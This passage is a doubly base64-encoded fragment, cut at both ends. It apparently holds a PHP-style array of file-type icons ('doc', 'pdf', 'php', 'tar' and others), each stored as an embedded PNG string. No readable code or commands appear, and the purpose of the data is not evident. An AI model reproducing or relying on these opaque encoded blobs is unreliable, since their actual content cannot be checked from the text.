1RZekJKSTVwUVFSUWEzMXJZb0lVa29nbWRuMy9YM2Y5OGUyYlQ4dEM3cXUyNGRodUQ4QkQ2ZTdTenpLOU13QUFBQUFTVVZPUks1Q1lJST0iLA0KICJ1bmtub3duIj0+ImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJITkNTVlFJQ0FnSWZBaGtpQUFBQUFsd1NGbHpBQUFOMXdBQURkY0JRaWliZUFBQUFCbDBSVmgwVTI5bWRIZGhjbVVBZDNkM0xtbHVhM05qWVhCbExtOXlaNXZ1UEJvQUFBR3BTVVJCVkRpTmxWTE5pdUpBR0t6RWpqa0lSb21vaUNFdHNvc0hGUi9Ba3pKdnRQTVc4MURpVVcvWkhDUmkvRDIwSW9paUlPbE9lZzlMd3JoajNOMkM3OUpWWDFIMTBjcDBPbjBUUW54RVVkVEZmMEJWVlljUThrTVpqOGNPcGJSVHFWU2dxdW8vTFVkUmhQMStqOVZxOVpNRVFkQXhUUk5CRUNTQzdYWUx4aGlPeHlPeTJTeXExU29zeTBJK24wODBwbW5DODd5T0dvWWh3akNFbEJKU1N2aStqOGxrQWtWUk1CZ01vR2thWnJNWlJxTVJydGRyb292M1ZDRkU4aWlseE9Gd0FBRHNkanNvaW9KNnZRNEE0SnlETWZhZ0ZVS0FjTTRocFV5aVVVcHhQcDlSS0JTUXlXUnd1VndTcmxnc1BtZzU1eUJ4L0JpbFVnbkQ0UkFBSUtVRVl3d0FVQzZYWVJqR2d6WU1RNUM0d2pPY1RpZmNiamZVYWpYMGVyMHZPaUhFYTRQTlpnUGJ0dEh0ZHBORWZ4cDhPZUxuWVl5aDFXcWw4bjlOME8vM1FRaEo1Vjhhck5kckxCWUwyTGFOWnJPWmFwQmFZYmxjNG42L3cvZjlseFZVSVFUaXYvQjVLS1hRZFIyTlJ1UHBNdWY4ZHdWQ2lPYzR6dmQydXcxTjA1SjRsbVhCc3F5bjErZWN3M1ZkRUVJOGtzdmwzdWZ6K1lmcnV0K2VGazJCcnV0end6RGVmd0hZcEc3V240OTBCUUFBRWNKMFJWaDBRMjl0YldWdWRBQjFibXR1YjNkdWxxZVNuWEdXbzZPZ281Q2pscUdnbzZXYW41aFpZVnBzTzNHYW41cVFwSmFsV1ZPVm1xU2huWktxa0pham82Q2pwRk5kVVplU25hU1dXbXc3bDZhZmxLV2FvSjlSbzVSaW1xT1dXVldYV3F4Um81YWxwcU9mVVhHWGxKMmdwSlpaY1plZ29aYWZXVldYWFZGWW8xaGFXbEZ3VVdKUmExRmhiRkd1TzVlbW41U2xtcUNmVWFPVVlwcW9vMWxWbDFxc1VhT1dwYWFqbjFGeGw1U2RvS1NXV1hHWG9LR1duMWxWbDExUldKSllXbHBSY0ZGaVVXdFJZV3hScmp1WHBwK1VwWnFnbjFHamxHS29vNXBaVlpkZFZaUmFyRkZWbDZGdWNaZWdvWmFmV1ZXWFhWRllxRmhhYkZGeGw2R21wYVJaVlplaFhWRlZsRnBzVVhHWGxKMmdwSlpaVlplaFdteFJyanVYcHArVXBacWduMUdqbEdLWGw1NVpWYVZhckZHamxxV21vNTlSY2FTbG81Q2pscUdka3BTV1dWTmdZRk5kVTJCVFhYR2twYU9RbzVhaG5aS1VsbGxUalkxVFhWTmdVMTFWcFZwYWJGR3VPNWVtbjVTbG1xQ2ZVYU9VWXBXVldWcXNVYU9XcGFham4xRlpjWmFwcFphZnBKcWduNUNkb0pLVmxwVlpXSlNtbzUxWVdsRlhWMUZ4bDZhZmxLV2FvSitRbHFtYXBLV2tXVmlVcHFPZGtKcWZtcVZZV2xwUmNGRmlVV3RSWVd4UnJqdVhwcCtVcFpxZ24xR2psR0tsbnFGWldxdzdVWmlkb0pPU25WRlZwWmFlb1pXYW8ydzdVWnFYV1hHYXBLU1dwVmxWcFphZW9aV2FvMXBYVjNHYXBKQ1ZtcU5aVmFXV25xR1ZtcU5hVjFkeG1xU1FxS09hcFpLVG5aWlpWYVdXbnFHVm1xTmFXbEdqbHFXbW81OVJWYVdXbnFHVm1xTnNPMUdYb0tPV2twU1pXWktqbzVLcVdWTmdwWjZoWUZOZFUyQ25rcU5ncFo2aFlGTmRVMkNtcEtOZ3BaNmhZRk5kVTJDVmxxZGdwSm1lWUZOZFUxYUllbjkxZW9OZ3BaYWVvV0JUV2xHU3BGRlZwVnFzTzFGUm1wZFpjWmVhblphUWxxbWFwS1drV1ZXbFdsZFhjWnFra0pXYW8xbFZwVnBYVjNHYXBKQ29vNXFsa3BPZGxsbFZwVnBhVWFPV3BhYWpuMUZWcFd3N1VhNDdVYU9XcGFham4xR1hrcDJrbG13N3JqdVhwcCtVcFpxZ24xR2psR0ttbzUxWldxdzdVVldaVVc1UldaYWVvYVdxV1ZXUWhIYURoM2FEakZoNWhZV0JoRmlPV2xHdHJWR2twYU9sb0oyZ3FKYWpXVldRaEhhRGgzYURqRmg1aFlXQmhGaU9XbEZ1YmxGWW9KZVhXRkZ3VVplU25hU1dVV3RScGFPbWxscHNPMUZWcGxGdVVWaVpwYVdoV0ZGZlVWbFpWWmxSY0ZGWXBGaFJhMUZZV0ZwUlgxRllhMkJnV0ZGZlVWV1FoSGFEaDNhRGpGaDVoWVdCa0htQWhJVllqbEZmVVZXUWhIYURoM2FEakZpQmVZR1FoSFo5ZDFpT1dtdzdVVldlVVc1UldaYWVvYVdxV1ZXUWhIYURoM2FEakZpQmNvVjVrSHAvZDRCWWpscFJjRkZZZ29aMmc0cVFoSVdEZW45NFdGRnJVVmlCY29WNWtIcC9kNEJZV213N1VWV2tVVzVSVlo1UmJtNVJXSUtHZG9PS2tJU0ZnM3AvZUZoUmNGRlljRmhSYTFGWVdHdzdVYU9XcGFham4xRlZwbEZmVVZXa1VWOVJXWnFrcEphbFdWV1FoSGFEaDNhRGpGV2VqbHBSY0ZGVmtJUjJnNGQyZzR4Vm5vNVJhMUZZV0Zwc082NDdtcGRabzVSaWxaVlpXbHBSckR0Umw2YWZsS1dhb0o5Um81UmlvVmxWcGwxVnAxMVZtVnFzTzFGUm1wZFpWWmxSVW01UlUySlRVVmRYVVZXWlVWSnVVVk5oVTFwUlZabFJibEZUWVZOc08xRlJWYWRSYmxGVGxLQ2ZwWmFmcFpDbHFxR1dicCtXcUpDVmtxV1NrSmFmcGFPcVY1T1NwSmFRbEtDZnBaYWZwVzVUVVY5UmNhYWpuWmFmbEtDVmxsbHhrNUtrbG1kbGtKYWZsS0NWbGxsVnAxcGFVVjlSVTFlWm1wV1ZscCtRcGFxaGxtNVRVVjlSVlpsUlgxRlRWNlNxcEpDbHFxR1dibE5SWDFHQmVZR1FnSVJSWDFGVFY1cWhibE5SWDFGVmtJUjJnNGQyZzR4WWczWitnSVYya0hKMWRZTllqbXc3VVZGVmtsRnVVVk4rb0t1YW5aMlNZR1ZmWVZGWmxLQ2VvWktsbXBPZGxteFJmb1I2ZGxGb1gyRnNVWWlhbjVXZ3FLUlJmNFZSWjE5aWJGR0ZvNXFWbHArbFlHVmZZV3hSaEgxMGRHTnNVVjkvZG9WUmRIMkRVV05mWVY5bVlXaGphR3hSWDM5MmhWRjBmWU5SWkY5bVgyUmhhR05xYkZGZmYzYUZVWFI5ZzFOc08xRlJWYVpSYmxGVG1hV2xvV3RnWUZOUlgxRlZwbXc3VVZGVmxGRnVVWEdVcHFPZGtKcWZtcVZaV213N1VWRnhsS2FqblpDa2xxV2dvYVZaVlpSZFVYU0dnMzJBZ1lXUWhvTjlYVkZWcGxwc08xRlJjWlNtbzUyUXBKYWxvS0dsV1ZXVVhWRjBob045Z0lHRmtJYUVkb055ZUhaL2hWMVJWWkphYkR0UlVYR1VwcU9ka0tTV3BhQ2hwVmxWbEYxUmRJYURmWUNCaFpDRGRvV0dnMytGZzNKL2hIZDJnMTFSWWxwc08xRlJjWlNtbzUyUXBKYWxvS0dsV1ZXVVhWRjBob045Z0lHRmtJR0FoSVZkVVdKYWJEdFJVWEdVcHFPZGtLU1dwYUNocFZsVmxGMVJkSWFEZllDQmhaQ0JnSVNGZDNwMmZYV0VYVkZWcDFwc08xRlJjWlNtbzUyUXBKYWxvS0dsV1ZXVVhWRjBob045Z0lHRmtJVjZmbmFBaG9WZFVXVmFiRHRSVVhHVXBxT2RrS1NXcGFDaHBWbFZsRjFSZElhRGZZQ0JoWkIwZ0g5L2RuU0ZoWHArZG9DR2hWMVJaVnBzTzFGUlZhTlJibEZ4bEtham5aQ1dxWmFVV1ZXVVdtdzdVVkZ4bEtham5aQ1VuYUNrbGxsVmxGcHNPMUZSbzVhbHBxT2ZVVmxTY1phZW9hV3FXVldqV2xGWFYxRnhwS1dqcEtXaldWV2pYVkZUcEpLbmxwV1FvNVNrbVphZG5aQ1duNldqcWxOYVdsRndVV0pSYTFGaGJEdFJyanV1TzVlbW41U2xtcUNmVWFPVVlwZWxvVmxWcFc1aFdxdzdVWmlkb0pPU25WRlZrcFNsWFZXWHBhR1FwSmFqcDVhalhWV1hwYUdRb2FDanBWMVZsNldoa0tha2xxT2ZrcDZXWFZXWHBhR1FvWktrcEtpZ281VnNPMUZWbjI1VGpaOVRiRHRSVlpSdVlXdzdVVlduYmxoWWJEdFJtcGRaY1pxa3BKYWxXVldTbEtWYVYxZFZrcFNsYm01VGw2V2hVMWRYY1pxa3BKYWxXVldYcGFHUW9hQ2pwVnBYVjFKeGxwNmhwYXBaVlplbG9aQ2hvS09sV2xkWGNacWtwSmFsV1ZXWHBhR1FwSmFqcDVhaldsZFhjWnFrcEphbFdWV1hwYUdRcHFTV281K1NucFphVjFkeG1xU2tscVZaVlplbG9aQ2hrcVNrcUtDamxWcFhWMUp4bHA2aHBhcFpWWmVsb1pDa2xxT25scU5hVjFkU2NaYWVvYVdxV1ZXWHBhR1FwcVNXbzUrU25wWmFWMWRTY1phZW9hV3FXVldYcGFHUW9aS2twS2lnbzVWYVdxdzdVVkZWbEc1aWJEdFJVVlduYmxOM2hZRnJVVldYcGFHUXBKYWpwNWFqYTFXWHBhR1FvYUNqcGEyR2hIYURhMUZWbDZXaGtLYWtscU9ma3A2V3JZRnloSVJyVVZXWHBhR1FvWktrcEtpZ281V05uMU5zTzFHdU8xR2FsMWxWcFZKdWJtRmFyRHRSVVpxWFdWSlZsRnBSbzVhbHBxT2ZVVmhZYkR0UlVacVhXWEdYcHArVXBacWduNUNXcVpxa3BhUlpVNWVsb1pDVW9KK2ZscFNsVTFwWFYzR1hwcCtVcFpxZ241Q1dxWnFrcGFSWlU1ZWxvWkNkb0ppYW4xTmFWMWR4bDZhZmxLV2FvSitRbHFtYXBLV2tXVk9YcGFHUWxKMmdwSlpUV2xxc08xRlJVVldYbDVkUmJsRnhsNldoa0pTZ241K1dsS1ZaVlplbG9aQ2tscU9ubHFOZFZaZWxvWkNob0tPbFhXUmFiRHRSVVZHYWwxbFZsNWVYV2xHc08xRlJVVkdhbDFseGw2V2hrSjJnbUpxZldWV1hsNWRkVVZXWHBhR1FwcVNXbzUrU25wWmRVVldYcGFHUW9aS2twS2lnbzVWYVdxdzdVVkZSVVZGeGw2V2hrSlNkb0tTV1dWV1hsNWRhYkR0UlVWRlJVYU9XcGFham4xRlZwMnc3VVZGUlVhNDdVVkZSVVhHWHBhR1FsSjJncEpaWlZaZVhsMXBzTzFGUlVhNDdVVkd1TzFGUm81YWxwcU9mVVZoWWJEdFJyanRSbzVhbHBxT2ZVVlduYkR1dU81ZW1uNVNsbXFDZlVhT1VZcFNYbUZsVmtxTmFyRkU3VVZXZmJsT05uMU5zTzFHWW5hQ1RrcDFSVlpTZ241ZWFtR3c3VVZXamJsaFliRHRSbDZDamxwS1VtVm1TbzZPU3FsbFlwNWFqcEpxZ24xaGRXSkttcFpsWVhWaVZscGVTcHAybGtLZVNvNlJZV2xHU3BGRlZsRnFzTzFGUm1wZFpjWnFrcEphbFdWV1VvSitYbXBpTVZaU09XbHFzTzFGUlVacVhXWEdhcEpDU282T1NxbGxWbEtDZmw1cVlqRldVamxwYXJEdFJVVkZSbDZDamxwS1VtVmxWbEtDZmw1cVlqRldVamxHU3BGRlZuRzV2VmFkYVVYRlZvMTl1VlpSZlUxRlRYMVdjWDFOdVUxOVZwMTlWbjJ3N1VWRlJybEdXbmFTV1VhdzdVVkZSVVhGVm8xOXVWWlJmVTI1VFgxV1VvSitYbXBpTVZaU09YMVdmYkR0UlVWR3VPMUZScmp0UnJqdFJvNWFscHFPZlVWV2piRHV1TzVlbW41U2xtcUNmVWFPVVlxR2twVmxhckR0UlZaOXVVNDJmVTJ3N1VWV25ibGhZYkR0Um1KMmdrNUtkVVZXVW9KK1htcGhzTzFHYWwxbHhtcVNrbHFWWlZaU2duNWVhbUl4VGtxYWxtVk9PakZPZWxXYVFwcVNXbzFPT1dsZFhjWnFrcEphbFdWV1VvSitYbXBpTVU1S21wWmxUam94VG5wVm1rS0dTcEtSVGpscFhWM0dhcEtTV3BWbFZrSUdBaElXTVU2dW1VNDVhVjFkeG1xU2tscVZaVlpDQmdJU0ZqRk9yb1ZPT1dscXNPMUZSbXBkWlZaU2duNWVhbUl4VGtxYWxtVk9PakZPZWxXYVFwcVNXbzFPT2JtNXhucFZtV1ZXUWdZQ0VoWXhUcTZaVGpscFhWMVdVb0orWG1waU1VNUttcFpsVGpveFRucFZta0tHU3BLUlRqbTV1VlpDQmdJU0ZqRk9yb1ZPT1dxdzdVVkZSVmFkZmJsT3JwbTVUWDFXUWdZQ0VoWXhUcTZaVGpsOVZuMnc3VVZGUlZhZGZibE9yb1c1VFgxV1FnWUNFaFl4VHE2RlRqbDlWbjJ3N1VWR3VPMUd1TzFHamxxV21vNTlSVmFkc082NDdsNmFmbEtXYW9KOVJvNVJpa3BXVldWV1NvMXFzVVR0UlZaOXVVNDJmVTJ3N1VWV25ibE9HZzMxdVUxK2psR0ttbzUxWldsOVZuMTlWbjJ3N1VWV25VVjl1VWFPVVlxR2twVmxhYkR0UlZhZFJYMjVSbzVSaWxKZVlXVnBzTzFGVnAxRmZibEdqbEdLWHBhRlpXbXc3VVplZ281YVNsSmxaa3FPamtxcFpXSVIyZzRkMmc1Qi9jbjUyV0YxWWhIYURoM2FEa0hKMWRZTllYVmlFZG9PSGRvT1FnWUNEaFZoZFdIbUZoWUdRZzNaM2RvTjJnMWhkV0lGNWdaQ0VkbjEzV0YxWWczYUNobmFFaFpDR2czcFlYVmlFZElONmdZV1FmM0orZGxoZFdJUjBnM3FCaFpCM2VuMTJmM0orZGxoZFdIUjllblovaFpCNmdWaGRXSU4yZm9DRmRwQnlkWFdEV0ZwUmtxUlJWYVNuV3F3N1VWR2FsMWx4bXFTa2xxVlpWWkNFZG9PSGRvT01WYVNuamxwYXJGRlZwMTl1VmFTblgxTnVVMTlWa0lSMmc0ZDJnNHhWcEtlT1gxV2ZiRkd1TzFHdU8xR2pscVdtbzU5UlZhZHNPNjQ3bDZhZmxLV2FvSjlSbzVSaXBKVlpWWmxkVmFkZFZhUmRWYVppWFZXZVlscXNPMUdhbDFtamxHS1ZsVmxhV2xHc08xRlJtcGRaVXFPVVlxRlpWYVppWFZGVnAxMVJWWmxhV2xGeG5wS2FuVmxWbm1KZFVWV2tYVkZWcDFwc08xR3VVWmFkcEpaUnJEdFJVWEdla3BxZFdWV2VZbDFSVmFSZFVWV25XbXc3VWE0N3JqdFZvNVJpcFo2aGJxT1VZcVdlb1ZsYWJEdWFsMWxWbzVSaXBaNmhVbTV1bDVLZHBKWmFyRHRSY1ZXalVXNVJvNVJpbDVlZVdWV2psR0tsbnFGUlgxRlRZRk5SWDFGeG5wVm1XWEdtbjVxaW1wVlpjYU9TbjVWWldscFJYMUZ4bnBWbVdYR2xtcDZXV1ZwYVdscHNPMUdhbDFtamxHS2FxS05aVmFOYVdsR3NPMUZSVlpTWG1wMldVVzVSbzVSaWw1ZWVXVldqbEdLbG5xRlJYMUZUWUtpb3FKQ2tscVNra0ZOUlgxRnhucFZtV2FPVVlxYWpuVmxhWDZPVVlwU1htRmxhV2xwc08xRlJjYWFmblpxZm5GbFZvMXBzT3p0UlVWV2VZbEZ1VVZPaGxxV1dvNTJXbUphamxtWmljYXFTbWFDZ1g1U2dubE5zTzFGUlZhWmlVVzVSVTZHV3BaYWpuWmFZbHFPV1g1T3FscVdab0tTbFkxK1VvSjVnbjVhb3BHQ2FuNVdXcVYraG1hRlRiRHRSVVZXa1VXNVJnWG1Ca0lDRVVWOVRyVk5mbzVSaXBxT2RXVnBzTzFGUlZabFJibEZUWVZOc08xRlJtcGRaVXFPVVlwcWpsbGxWbEplYW5aWmFXbEdzTzFGUlVWV25VVzVSbzVSaWtwV1ZXVnBzTzFGUlVhT1VZcVNWV1ZXWlhWRlZwMTFSVmFSZFVWV21ZbDFSVlo1aVdtdzdVVkZSbzVSaXFLT2FXVldVbDVxZGxsMVJVMkpUV213N1VWR3VPMUZSVlplbmJxT1VZcGVsb1ZsaVdtdzdVVkdhbDFsU2NaYWVvYVdxV1ZXWHAxcGFyRHRSVVZGVm1WRnVVVk5pVTJ3N1VWRlJWYVNYbXAyV1VXNVJvNVJpbDVlZVdWV2psR0tsbnFGUlgxRlRZS2lvcUpDa2xxU2trRk5SWDNHZWxXWlpWWlNYbXAyV1gxV1hwMXBhYkR0UlVWR2FsMWxTbzVSaW1xT1dXVldrbDVxZGxscGFVYXc3VVZGUlVWV25VVzVSbzVSaWtwV1ZXVnBzTzFGUlVWR2psR0trbFZsVm1WMVJWYWRkVVZOM2hZR3RVMTlWcEYxUlZhWmlYVkZWbm1KYWJEdFJVVkZSbzVSaXFLT2FXVldrbDVxZGxsMVJVMkpUV213N1VWRlJyanRSVWE0N1VhNDdyanM3ZFc1cmJtOTNiamYwSzN3QUFBQUFTVVZPUks1Q1lJST0iLCJkb2MiPT4iaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQkhOQ1NWUUlDQWdJZkFoa2lBQUFBQWx3U0ZsekFBQU4xd0FBRGRjQlFpaWJlQUFBQUJsMFJWaDBVMjltZEhkaGNtVUFkM2QzTG1sdWEzTmpZWEJsTG05eVo1dnVQQm9BQUFHVVNVUkJWRGlOalpQQlNsdEJGSWIvM0F6RUM0VWd6SUFNRkNRM3BRc1ZYU1hCbCtrekZPMm1HK21pVzU4aFlIZDlDemRKTmdwWFFkUXNOSkVrTk1HRjBLSjN6c3pwSXJsRGtuczFEZ3dNaDVuLysvOXptTUxCOGVuWDl1WHc1LzNnS1FTQTMwZmJjTTVoMVFxQ0lCWkNIQmIydi96Nlo0c2Z3czJQR2tHeGlKUHZ1MkRtTng4VEVmcjlQa2FqMFlXNGUvZ1RWajlybkYwL3dqcUdNUVpFdE5LQjFocTlYbTlIc0Uwd21QeUZkVk1xTTRPWjBXcTFBQUJLS1l6SFkvOVFLWVZxdFFwbWhyVVdnbTBDb3NSZlNBVWFqWWF2UlZHMFFFOGpFaEVFM0F2Z1RFYWcyKzE2OHJ5TDFBRUFHR01nbkRYZ09ZRlVKSXFpQmZMOE9YVmdyWVdBUzNJZHROdnRCYnBTS2hPRmlLWTk0QnlCZXIzdWE1VktaWUc4SkdBQW00M3dualVWY1BrT09wMk9yMGtwQVFDVHlRUlNTaDlsTmdXVDI0TmFyWlloTGtlWk9jaWZRdXBBU3VuSldtdUVZWmp0Z2JNdktCU0NWeDJrNUdVNkVTSFFHK3ZQNXFrUHRzK0FNMTdnclowa0NlSTRoaERpUnV4dGZmcHhGbDhkRFlmbmF3RFFiRGJmOVpsS3BkSnR1VnorOWgveDVqbDY4N3g4dVFBQUFBQkpSVTVFcmtKZ2dnPT0iLA0KICJwZGYiPT4iaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQkhOQ1NWUUlDQWdJZkFoa2lBQUFBQWx3U0ZsekFBQU4xd0FBRGRjQlFpaWJlQUFBQUJsMFJWaDBVMjltZEhkaGNtVUFkM2QzTG1sdWEzTmpZWEJsTG05eVo1dnVQQm9BQUFLY1NVUkJWRGlOZFpQUGE1Um5FTWMvNzd2UDd2dG1YMk5ZWWpDK3NCcWtyUkJNaEI1S1VSb1FDZUtoOUtaL2dSZWhoV284VkZBRVFUMklDWHBJMjROUmtaSlNGSW0wSjA4YktLVnB4S3dwTGU0cENVS2FLbXYyNTd2dis4enplTmdrR2tnRzVqVERaMmErTStQTXpNd01hNjF2R0dNRzJjYnNteFhzM0orNFI0NGhsODZRdW5BVE45ZGRWRXFOT0lWQ29kamIyenVReitkUlNtMEppTytNa1RyNEtjbVRTWnh3TDZuVEl5d3RMYkc4dlB4Q3hYRThFSVloV211MDFsc0NXbE9UcERJZDZEOEsrTDlNbzdVbURFTVdGeGNIbEloZ2pObXVlK3lyUlpJWHo1SG9SL3p4aDFqUEIydXgxaUlpS0swMTF0cHRBZkd2RHhGU2VGZHVRNWpmbE50c05sRkprbXdOc0pia3QwYzBmeGdGVitIMkg5cVVGMFVSNVhJWlYwU3dheTJ0ZTF4NFN1WGtNTW5jTEJJbjZIb0RHN2MyNG8xR2czSzVqTmE2UFlLSklxVDBEL0x2MzdRZS80d1Q3Q0I3Zlp4VTMzN3FFOStEQVhuN0ZuZFhEL1Y2bldxMUN0RFdvSHpoVzE3SE5US0hoOGg4Y1pUczFWdWs4dnNBTUpWVkpHa0xYSnVmSStvZlJFUTJ4aEFSbFAzb0FFNnJoa1F0ak9QaTdnbXgxbUtNSVY3NUQxbGJVTzMzYWZpa2Y1Tk1udWVobXNlL1JFNmN3RmhEY3Y4T3E2ZStnc3ZYc04wOXNMQUFhd0RuK1RNOHo4UHpQS0lvd3ZkOUhNZEJCVUZBTHBkclYvMzZMTW1SSVdyZm5XUG5UNCtRSUtDeURwajlpMDdSR0JVQTRQcytXbXRjclRXTzQrQzZMa29wT2o3N25NemhJV1RxTWY2K1BrUkFCSFNqUmZYZUJGRVVrVTZuc2RhK0I2emZ3cnAzbnZtR3lvUDd1TjI3TUNxREdCQURsYnNUeExVcTZYU2FKRW5hQUtYVXkyS3hTQnpIR3dDeVdlamNpYXl1d3U1d0F4Q3YvRS85NGtXMDFoU0xSWlJTTDFVUUJPZExwZEtOK2ZuNWp6OVV1SzR0bWJGUkdrNks1TU5YbVpvaUs0YmM4SENwcTZ2ci9EdkthWU1ISnZrTm5nQUFBQUJKUlU1RXJrSmdnZz09IiwNCiAiaXNvIj0+ImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJITkNTVlFJQ0FnSWZBaGtpQUFBQUFsd1NGbHpBQUFOMXdBQURkY0JRaWliZUFBQUFCbDBSVmgwVTI5bWRIZGhjbVVBZDNkM0xtbHVhM05qWVhCbExtOXlaNXZ1UEJvQUFBSnlTVVJCVkRpTmxaTmZidE5ZR01WL3NhLy94QzUyV2lkMVFrdVRVdWdJbEZRQ3hBYVEyQkhzZ2xXd0JsYlFrVUNRR1kwVU1raWtTS1JRZFpxR05nbHBHc2ZYMTVlbmhvZnl3SHpQNS95T3ppZWRRcnZkZnBwbDJZczh6L2Y0SDJjWVJrY0k4YXl3djcvZmFUUWFyVGlPTVF6anQ4eDVuak1ZRE9qMysrOUZtcWF0S0lwSTAzUXArUFJQbThIWkVDMGNUTHVJRUJibGNwbnQyOXRMVFJSRjlIcTlsbEJLb1pRQ0lFa1dkRjYvcEdJNTdOWC93S3JFbUY0SjAzVDRkamFoL2U0dm1xMG1ydXR3NVRPeUxFTnJqZGFhUC85K1JkendpR3NaWXRwSEowY1U5RGVFZFVHdEduRHYzaDArZFA5ZDZyTXNRMGdwMFZyVDZYM2tzMUZFU28rcUhCRXNwdER2WTE3TUNkZGpndUlxbGlpeVdncnBmejZrM3RoQ1NvbFFTcUcxWm5peVlMTzR3M1EyWXphWFJBdUxyZm9EQ3NEUjBWZHE1UVRQTHVIN052OGRUOUIxalZJS2NWVWgrSzVaWjVXWkRqbWRTZTd2M1dJMG1pQ0JtNVVkenIrOHdTN0hHTmtLOG5MNnM4SVZnRUJqeHBLSzdXSjdWWHp2QnFQUkJJQkN3U1Vaamlua0NpTjNjZWJHZFlEdG1hUjVpbTFiaEc2UjBlQ1l6YzFORmpMaDdmdTNDTThtc3NkWTh4ekhxVjBIbE9PSTg5TVJwYlVRenk4U2xBTE9oK2Vjbmx5aWRZMkJhMkp5eG5yaGtOWDZrK3VBU2x4bU9yNGdVd3JMdGdHTjc2K3dzZWJDaWNzazBmU1NCYWJaNG03MTlpOStBTnphM3VEaytCUmhHWmlHWURGUGtTckRUUlRtVkxGU0NuajArUEZTdndSSUtSRkNZQXFUamEwYTQ3TUo0OUdRMmNVbGFacmlDSmVIdTFVMmRpb0F5L1FzeXhCQ2lGNm4wOWx0TnB0WWxnVkF1QllRcmdYWFJuU1ZMS1drMiswaWhPZ0ozL2VmSHh3Y3ZPaDJ1M2QvZjh6Z09NNUJHSWJQZndBUVNtYXNzUW9HUUFBQUFBQkpSVTVFcmtKZ2dnPT0iLA0KICJzd2YiPT4iaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQkhOQ1NWUUlDQWdJZkFoa2lBQUFBQWx3U0ZsekFBQU4xd0FBRGRjQlFpaWJlQUFBQUJsMFJWaDBVMjltZEhkaGNtVUFkM2QzTG1sdWEzTmpZWEJsTG05eVo1dnVQQm9BQUFHcFNVUkJWRGlObFpLL2ExTlJGTWMvNy9ZMER4cEx0QThibkl5Q2cyRDhDNVNLS0pUK0FXSW5KeTA0T05rL1FLZ2lVaEFIQldmQlNYUW9MaTVpY01zaXI4SGhQZEFnNGt0MEtyYWEzSHZmdlE3YTJEWXZxUjQ0eXpuZkgrZWNlNE5tczNuUldydnFuRHZOZjRSU0toYVJtMEdqMFlocnRWcTlXcTJpbFBvbnNuT09icmRMdTkxZUY2MTFQWW9pdE5iN016dWZZZllJcUFtaUtDSkprcnJLODV3OHovSGVGNmI3MXNIY1dLUi81aWo5Q3lmeG05L3gzclBORTJzdDN2dENRLy9wQS8wckMvaXYyYUFtSG9JL2VHc3R5aGd6MHIzMzREWTZ5N0RUTTB6Y2VVejRKb0VEMDRPK01RYlpIbi9vVUI5VGZxNDlCd2ZsbFlmSStmbmZVKzNBamwxaDY5RjlySEVBYkZ4ZEpDaUZ6THpQZG1Hc3RjVUNycE94K2VJWjVIOXJRYzRRcmxqQWV6YnVyV0I3QmpsMm5NT3YzaEtVU2tQakZ3cjBHcS9aZXZxRUh5L1hBRGgwNnk1TVRvNThwU0dCTDVjdkRacVZwZXVFWjgrTkpCY0srR2lXOEZTZGc5ZVdtSnFiRzB2ZUpXQ01RVVNvdll0M25HSi9zclVXSlNKSkhNZG9yVWQrcUwycHRTYU9ZMFFra1hLNXZKeW02V3FyMVRveDFuSlBoR0dZVmlxVjVWOWJyMGx3MU5QLzVRQUFBQUJKUlU1RXJrSmdnZz09IiwNCiAicGhwIj0+ImlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUJITkNTVlFJQ0FnSWZBaGtpQUFBQUFsd1NGbHpBQUFOMXdBQURkY0JRaWliZUFBQUFCbDBSVmgwVTI5bWRIZGhjbVVBZDNkM0xtbHVhM05qWVhCbExtOXlaNXZ1UEJvQUFBSnlTVVJCVkRpTmxaTlBTRlJSRk1aL3ZybkRPSTRtK2xLemhDeW9GcUVRcFJYVklpZ0cyZ1F1b29XYk5yV1BXclNybG1FdGdpQWlJUkJxNDdoSWdnYUpZS2JvajZYTWE5UWFRNGF5YkJ3Yi84dzh4N252dm5kYkRDWVNoUjA0aThQSGR6am4rODZwR0I0ZVBxbVU2dkU4cjUzL0NNTXdMQ0hFcFlwWUxHYTF0cmEyTlRVMVlSakdoc2llNTVISlpFaW4weCtFbExMTk5FMmtsUDh6QUtacGtrcWwyb1RydXJpdSt4dVl5ZGlrdnl5U3Qwdll0aVJ2bHloSkY4Tm5jR2ovVnZidWJnQmdsU2VVVW1pdEtkZ095WWs1NW5MTFRHZHRmTUxIcmgwbTMzS3o1QXVTMG9yRHlJTmhxcXY4WEx4d21NYk5JWlJTQ01keHNKY2RFdU5aTUh3RWE0SUVDNHFXNWhwT245ekQ2TmdNOGJkZldTcVVPSHB3QjZVVlNWLy9DT2ZPN3NkeEhJaEVJcnAvTUtFZkQzM1NnQVowT0J6V3IwZW4vMW5mNlgydUk1R0lOcFJTVEg5Zm9yamlBRENiL1VrMEdxVmx5eVlBZm1UbTE5V3JlREFvVUVwaEtLWElMUlp4UFExQVk0TkpPQndtL1cwQkFNY3JXNnRaajMrZStsSFdRQ2tGYUJ5cEFIZzlPczFRZklyK0orUDBEU1M0OTNDRXZvRUU3NnlaMy9oZ05NRnlmaDZsWENwNmUzdjE0U01udUgzL0xaMEhkdkorZkpaOG9mU0g3elhWQVRyYW00bS8ra2oyK3hkdVhEM0R5eGZQeWhOc3JnOXl2bnNmTisvR3NaZEwrQ3VyTUlRZncrY0hOSzRqS1N6TThXaHNsRkFvd1BVclhkVFhWYTJ0b0xWbVczTU50NjZkSXZZbXpkTm5FK1J5V1lyRkFwN25VVmtab0w2dW11NnU0eHpwMkZuV1JPdTFCbzdqSUlRQTRGam5kbzUxYnYvckNXdGRGbE1wVlhaQkNKR3lMQXNwSlZyckRhV1VFc3V5RUVLa1JDZ1V1anc1T2RtVFRDWjNiZXlOeWhFSUJDWnJhMnN2L3dJZE5Yd1FlT0t5Q0FBQUFBQkpSVTVFcmtKZ2dnPT0iLA0KICJ0YXIiPT4iaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgv